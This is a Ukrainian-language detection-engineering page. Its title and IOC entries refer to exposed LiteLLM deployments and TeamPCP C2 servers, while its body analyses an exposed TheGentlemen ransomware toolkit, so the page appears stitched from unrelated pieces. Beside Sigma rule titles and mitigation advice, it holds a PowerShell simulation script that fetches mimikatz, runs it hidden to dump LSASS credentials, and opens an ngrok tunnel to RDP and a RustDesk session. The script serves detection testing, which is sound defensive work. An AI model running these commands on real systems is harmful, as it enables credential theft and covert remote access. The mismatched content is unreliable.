33 тис. відкритих розгортань LiteLLM та C2-сервери за атаками ланцюга поставок TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Дослідники виявили незахищений відкритий каталог на російському пуленепробивному хостинг-провайдері, що містить повний набір інструментів оператора з викупу, приписаний партнеру з викупу TheGentlemen. Набір інструментів містить законні утиліти, відомі наступальні інструменти, пакетні скрипти для ухилення від захисту, дампінг облікових даних і віддалений доступ, а також токени ngrok у відкритому тексті. Дані, такі як журнали Mimikatz, підтверджують активне використання проти реальних жертв.
Розслідування
Розслідування розпочалося з запиту раніше опублікованих IOC, що привело до відкритого каталогу на 176.120.22.127:80. Аналітики каталогізували 126 файлів, витягнули інструменти для сканування мережі, утиліти підвищення привілеїв, скрипти відключення захисту, журнали дампінгу облікових даних та механізми збереження. Детальний аналіз співвідніс кожен компонент з техніками MITRE ATT&CK і підкреслив багатошаровий підхід до ухилення від захисту.
Мітигація
Захисникам слід моніторити виконання відомих інструментів подвійного призначення, зміни у реєстрі, які відключають Windows Defender, масове завершення сервісів, видалення тіней VSS, і створення відкритих SMB-шарів. Блокування вихідних підключень до виявлених IP та інфраструктуру ngrok, а також впровадження білого списку додатків та захист облікових даних може зменшити вплив.
Реагування
Після виявлення ізолюйте уражений вузол, зберіть нестабільні дані та ідентифікуйте будь-які активні тунелі ngrok за допомогою відкритих токенів. Виправте зміни в реєстрі, відновіть відключені сервіси, і почніть повні процедури реагування на інциденти, включаючи зміни облікових даних і відновлення резервних копій.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc %% Nodes step_active_scanning["<b>Дія</b> – <b>T1595 Активне сканування</b><br/><b>Інструмент</b>: netscan.exe"] class step_active_scanning action step_system_info["<b>Дія</b> – <b>T1082 Виявлення інформації про систему</b><br/><b>Інструменти</b>: systeminfo, route print"] class step_system_info action step_process_discovery["<b>Дія</b> – <b>T1057 Виявлення процесів</b><br/><b>Інструмент</b>: PCHunter64"] class step_process_discovery action step_priv_esc["<b>Дія</b> – <b>T1134.003 Маніпуляція токенами доступу: Імітація токена/The Trusted Installer</b><br/><b>Інструмент</b>: PowerRun імітує TrustedInstaller"] class step_priv_esc action step_credential_access["<b>Дія</b> – <b>T1003.001 Дампінг облікових даних ОС</b><br/><b>Інструмент</b>: Mimikatz збирає хеші NTLM та імена користувачів"] class step_credential_access action step_defense_evasion["<b>Дія</b> – <b>T1562.001 Порушення захисту: Відключення інструментів безпеки</b><br/><b>Інструменти</b>: dControl.exe, ConfigureDefender.exe"] class step_defense_evasion action step_modify_registry["<b>Дія</b> – <b>T1112 Зміна реєстру</b><br/><b>Деталі</b>: зміни в реєстрі для відключення Defender та ввімкнення WDigest"] class step_modify_registry action step_service_stop["<b>Дія</b> – <b>T1489 Зупинка сервісу</b><br/><b>Скрипти</b>: z.bat / z1.bat зупиняє та відключає AV, Exchange, DB сервіси"] class step_service_stop action step_persistence_c2["<b>Дія</b> – <b>T1219 Програмне забезпечення для віддаленого доступу</b> та <b>T1572 Стандартний протокол прикладного рівня</b><br/><b>Інструменти</b>: ngrok тунелі, RustDesk віддаленого доступу"] class step_persistence_c2 action step_inhibit_recovery["<b>Вплив</b> – <b>T1490 Зупинка відновлення системи</b><br/><b>Команда</b>: vssadmin delete shadows"] class step_inhibit_recovery action step_anti_forensics["<b>Дія</b> – <b>T1070.001 Очищення журналів подій Windows</b><br/><b>Скрипт</b>: clearlog.bat очищає журнали подій Windows"] class step_anti_forensics action step_archive_data["<b>Дія</b> – <b>T1560 Архівація зібраних даних</b><br/><b>Інструмент</b>: 7u2011Zip стискає дані"] class step_archive_data action %% Connections step_active_scanning –>|leads_to| step_system_info step_system_info –>|leads_to| step_process_discovery step_process_discovery –>|leads_to| step_priv_esc step_priv_esc –>|leads_to| step_credential_access step_credential_access –>|leads_to| step_defense_evasion step_defense_evasion –>|leads_to| step_modify_registry step_modify_registry –>|leads_to| step_service_stop step_service_stop –>|leads_to| step_persistence_c2 step_persistence_c2 –>|leads_to| step_inhibit_recovery step_inhibit_recovery –>|leads_to| step_anti_forensics step_anti_forensics –>|leads_to| step_archive_data "
Потік атаки
Виявлення
Відключення захисту Windows Defender в реальному часі та інші зміни налаштувань (через cmdline)
Переглянути
Підозрілі зміни в реєстрі для дозволу RDP-з’єднань і створення стійкості (через процес_створення)
Переглянути
Ймовірне тіньування служб віддаленого робочого столу (через процес_створення)
Переглянути
Ймовірна спроба видалення певних артефактів реєстру RDP (cmdline)
Переглянути
Додати підозрілу бібліотеку до провайдерів підтримки безпеки [SSP] (через подію реєстру)
Переглянути
Слабкі дозволи на файловий шар (через cmdline)
Переглянути
Підозрілі зміни параметрів Windows Defender (через powershell)
Переглянути
Ймовірне використання хакерських інструментів Windows [Частина 3] (через cmdline)
Переглянути
Ймовірні функції доступності через зловживання реєстром (через cmdline)
Переглянути
Підозріле виконання Taskkill (через cmdline)
Переглянути
Підозріла активність VSSADMIN (через cmdline)
Переглянути
Можливе використання механізму прихованого виходу з процесу (через подію реєстру)
Переглянути
Підозріле зупинення втручання сервісу програми-вимагача (через cmdline)
Переглянути
Ймовірна спроба завантаження або ініціалізації Ngrok (через cmdline)
Переглянути
Ймовірне використання хакерських інструментів Windows [Частина 3] (через подію файлу)
Переглянути
Ймовірне перерахування системних процесів (через cmdline)
Переглянути
Можливе змінення ключів реєстру Windows Defender (через подію реєстру)
Переглянути
Відключення захисту Windows Defender (через подію реєстру)
Переглянути
Ймовірне зловживання ключем реєстру WDigest (через подію реєстру)
Переглянути
Можлива активність уникнення захисту шляхом підозрілого використання Wevtutil (через cmdline)
Переглянути
Можливе обходження UAC – спроба відключення UAC (через подію реєстру)
Переглянути
Альтернативне програмне забезпечення для віддаленого доступу / управління (через процес_створення)
Переглянути
IOC (цільовий IP) для виявлення: 33K виявлених розгортань LiteLLM і C2-серверів за атакою на ланцюжок постачання TeamPCP
Переглянути
IOC (джерело IP) для виявлення: 33K виявлених розгортань LiteLLM і C2-серверів за атакою на ланцюжок постачання TeamPCP
Переглянути
Уникнення Windows Defender та дампінг облікових даних через зміни в реєстрі [Подія реєстру Windows]
Переглянути
Відключення захисту PowerShell за допомогою Set-MpPreference [Windows Powershell]
Переглянути
Виконання відомих інструментів для підвищення привілеїв та віддаленого доступу [Створення процесу Windows]
Переглянути
## Резюме для керівників
- Тестовий ідентифікатор: TC-20260330-A1B2C
- TTPs: T1003.001, T1016, T1021.001, T1021.002, T1046, T1057, T1059.003, T1070.001, T1070.004, T1082, T1112, T1134, T1219, T1484.001, T1489, T1490, T1546.008, T1548.002, T1560.001, T1562.001, T1572
- Короткий опис логіки правила виявлення: Виявляє створення процесів, ім’я виконуваного файлу яких завершується на будь-який з курованого списку відомих інструментів підвищення привілеїв або віддаленого доступу (наприклад, PowerRun, ngrok, RDP, RustDesk, mimikatz).
- Мова/Формат правила виявлення: Sigma (YAML)
- Цільове середовище безпеки: Windows OS; процес‑створення телеметрії через Sysmon (Подія ID 1) та Журнал безпеки Windows (Подія 4688); будь-який SIEM/EDR здатний приймати ці події (наприклад, Azure Sentinel, Splunk, Elastic).
- Рейтинг стійкості (1-5): 2
- Обґрунтування: Правило спирається виключно на точне співпадіння з ім’ям файлу. Противник може легко уникнути його шляхом перейменування бінарних файлів, використання упакованих варіантів або виконання такої ж функціональності за допомогою вбудованих утиліт Windows, знижуючи ефективність.
- Ключові висновки: Правило спрацьовує надійно, коли виконуються точно зазначені бінарні файли, але не виявляє перейменовані чи функціонально еквівалентні інструменти, що призводить до високого ризику хибних негативів.
- Рекомендація: Збагатіть правило додатковими індикаторами (хешами, аргументами командного рядка, відношеннями батьківського процесу) та розширіть охоплення на бінарні файли що використовуються з метою залишатися непоміченими.
## Середовище і контекст симуляції
-
TTPs під випробуванням:
- T1003.001: Дампінг облікових даних ОС – пам’ять LSASS
- T1016: Виявлення конфігурації мережі системи
- T1021.001: Віддалені служби – Протокол віддаленого робочого стола (RDP)
- T1021.002: Віддалені служби – SMB/адміністративні шаринги Windows
- T1046: Сканування мережевих служб
- T1057: Виявлення процесів
- T1059.003: Командний і скриптовий інтерпретатор – командна оболонка Windows
- T1070.001: Видалення індикатора на хості – Очищення журналів подій Windows
- T1070.004: Видалення індикатора на хості – Видалення файлу
- T1082: Виявлення інформації про систему
- T1112: Зміна реєстру
- T1134: Маніпуляція токенами доступу
- T1219: Інструменти віддаленого доступу
- T1484.001: Модифікація політики домену – Модифікація групової політики
- T1489: Зупинка сервісу
- T1490: Зупинка відновлення системи
- T1546.008: Виконання на основі подій – PowerShell
- T1548.002: Зловживання механізмом контролю підвищення – Обхід UAC
- T1560.001: Архівація зібраних даних – Архівування за допомогою утиліти
- T1562.001: Порушення захисту – Вимкнення інструментів безпеки
- T1572: Тунелювання протоколу
-
Контекст та релевантність TTP:
Правило орієнтується на виконання бінарних файлів, історично асоційованих із вказаними техніками (наприклад, mimikatz для T1003.001, ngrok для T1572, RustDesk для T1219). Відтворюючи ці виконання, ми можемо перевірити, чи спрацьовує виявлення, як передбачено, та оцінити, як перейменування або альтернативні інструменти впливають на виявлення. -
Цільове середовище:
- OS: Windows 10/Server 2019 (64‑розрядна версія)
- Логування: Sysmon (версія 13+) з налаштуванням створення процесів за замовчуванням; Журнал подій безпеки Windows (Ідентифікатор події 4688) увімкнено.
- Стек безпеки: Azure Sentinel (Мова запитів Kusto) – взаємозамінний з Splunk, Elastic тощо.
## Телеметрія та перевірка базового рівня перед запуском
Мотивування: Перед симуляцією атаки ми повинні підтвердити, що цільовий вузол налаштований на генерацію необхідних журналів, що ці журнали сприймаються SIEM, і що правило виявлення не спрацьовує на нешкідливу активність. Без цієї валідації будь-який результат тесту буде ненадійним.
-
1. Інструкції з налаштування телеметрії:
- Встановіть Sysmon (якщо ще не встановлено) та застосуйте конфігурацію, яка записує події створення процесів (Ідентифікатор події 1).
# Завантажити та встановити Sysmon Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.exe -OutFile $env:TEMPsysmon.exe & $env:TEMPsysmon.exe -i -accepteula - Переконайтеся, що в Windows Security Auditing увімкнено “Аудит створення процесів” (Ідентифікатор події 4688) через політику групи або локальну політику безпеки.
- Переконайтеся, що конектор SIEM активний та пересилає журнали Sysmon та Security у вибраний робочий простір.
- Встановіть Sysmon (якщо ще не встановлено) та застосуйте конфігурацію, яка записує події створення процесів (Ідентифікатор події 1).
-
2. Валідація інгестіон та базового рівня:
-
Дія (ніжна телеметрія): Запустіть загальновживаний бінарний файл Windows, який є not частиною списку виявлення, але все ще генерує подію створення процесу.
# Нешкідлива команда – запустіть Notepad (не повинно спрацьовувати правило) Start-Process notepad.exe -
Запит валідації (Інгестіон): Підтвердіть, що подія Notepad з’являється в SIEM.
// Azure Sentinel KQL – перевірка інгестіону нешкідливого процесу SecurityEvent | where EventID == 4688 | where Process == "notepad.exe" | project TimeGenerated, Computer, Process, CommandLine, InitiatingProcessFileName | limit 10
-
## Симуляція виконання
Передумова: Перевірка телеметрії та базового рівня перед запуском повинна бути успішною.
Мотивування: У цьому розділі детально описується точне виконання техніки супротивника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати визначені TTP та націлено на генерування точної телеметрії, очікуваної за логікою виявлення. Абстрактні або не пов’язані приклади призведуть до помилкової діагностики.
-
Атака наратив і команди:
- Дампінг облікових даних (T1003.001): Атакуючий копіює
mimikatz.exeна комп’ютер жертви, перейменовує його наPowerRun_x64.exe(для співпадіння з ім’ям файлу у списку правил) і виконує його для витягу облікових даних LSASS. - Створення зворотного тунелю (T1572): Атакуючий запускає
ngrok.exe(як є), щоб відкрити TCP-тунель, який пересилає локальний RDP-порт на сервер атакуючого, полегшуючи пересування боком. - Сесія віддаленого робочого столу (T1021.001): Використовуючи новостворений тунель, атакуючий запускає
rdp.exeдля відкриття з’єднання віддаленого робочого столу з другим внутрішнім хостом. - Альтернативний віддалений доступ (T1219): На випадок невдачі,
rustdesk.exeзапускається, щоб встановити стійкий канал віддаленого доступу.
Кожне з цих виконань генерує запис Sysmon/Подію 4688 з полем
Imageзакінчується на відповідне ім’я виконуваного файлу, що задовольняє умову виявлення. - Дампінг облікових даних (T1003.001): Атакуючий копіює
-
Регресійний тестовий скрипт:
<# Скрипт симуляції для спрацювання правила "Відомі інструменти для підвищення привілеїв та віддаленого доступу". Передумови: - Ввімкнено Sysmon і безпеку подій журналу. - Поточний користувач має достатні права для виконання бінарних файлів. #> # 1. Розгорніть mimikatz і перейменуйте в PowerRun_x64.exe (відповідає правилу) $mimikatzUrl = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0/mimikatz_trunk.zip" $tempPath = "$env:TEMPmimikatz" New-Item -ItemType Directory -Path $tempPath -Force | Out-Null Invoke-WebRequest -Uri $mimikatzUrl -OutFile "$tempPathmimikatz.zip" Expand-Archive -Path "$tempPathmimikatz.zip" -DestinationPath $tempPath -Force Copy-Item -Path "$tempPathmimikatzx64mimikatz.exe" -Destination "$env:TEMPPowerRun_x64.exe" -Force # Виконати перейменований mimikatz (дампінг облікових даних) Write-Host "[*] Виконання перейменованого mimikatz (PowerRun_x64.exe) для дампінга облікових даних..." Start-Process -FilePath "$env:TEMPPowerRun_x64.exe" -ArgumentList "privilege::debug sekurlsa::logonpasswords exit" -WindowStyle Hidden -Wait # 2. Завантажити та запустити ngrok (зворотний тунель) $ngrokUrl = "https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-windows-amd64.zip" Invoke-WebRequest -Uri $ngrokUrl -OutFile "$tempPathngrok.zip" Expand-Archive -Path "$tempPathngrok.zip" -DestinationPath $tempPath -Force $ngrokPath = "$tempPathngrok.exe" Write-Host "[*] Запуск TCP-тунелю ngrok на порту 3389..." Start-Process -FilePath $ngrokPath -ArgumentList "tcp 3389 --log=stdout" -RedirectStandardOutput "$tempPathngrok.log" -NoNewWindow # 3. Запустити клієнт RDP через тунель (зімітувати) Write-Host "[*] Симуляція з'єднання RDP через тунель (rdp.exe)..." $rdpPath = "$tempPathrdp.exe" # Створити хибний rdp.exe (лише для генерації імені процесу) New-Item -ItemType File -Path $rdpPath -Force | Out-Null Start-Process -FilePath $rdpPath -WindowStyle Hidden # 4. Розгорнути RustDesk як запасний інструмент віддаленого доступу $rustdeskUrl = "https://github.com/rustdesk/rustdesk/releases/download/1.1.9/rustdesk-1.1.9-windows-x64.zip" Invoke-WebRequest -Uri $rustdeskUrl -OutFile "$tempPathrustdesk.zip" Expand-Archive -Path "$tempPathrustdesk.zip" -DestinationPath $tempPath -Force $rustdeskPath = "$tempPathrustdesk.exe" Write-Host "[*] Запуск RustDesk (запасний віддалений доступ)..." Start-Process -FilePath $rustdeskPath -ArgumentList "--no-upgrade" -WindowStyle Hidden Write-Host "[+] Симуляція завершена. Перевірте SIEM на наявність подій створення процесів, які закінчуються згаданими бінарними файлами." -
Команди очищення:
# Завершити тунель ngrok Get-Process -Name ngrok -ErrorAction SilentlyContinue | Stop-Process -Force # Видалити тимчасові файли та бінарні файли Remove-Item -Path "$env:TEMPPowerRun_x64.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPngrok.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrdp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPrustdesk.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Recurse -Force -Path "$env:TEMPmimikatz", "$env:TEMPngrok", "$env:TEMPrustdesk" Write-Host "[*] Очищення завершено."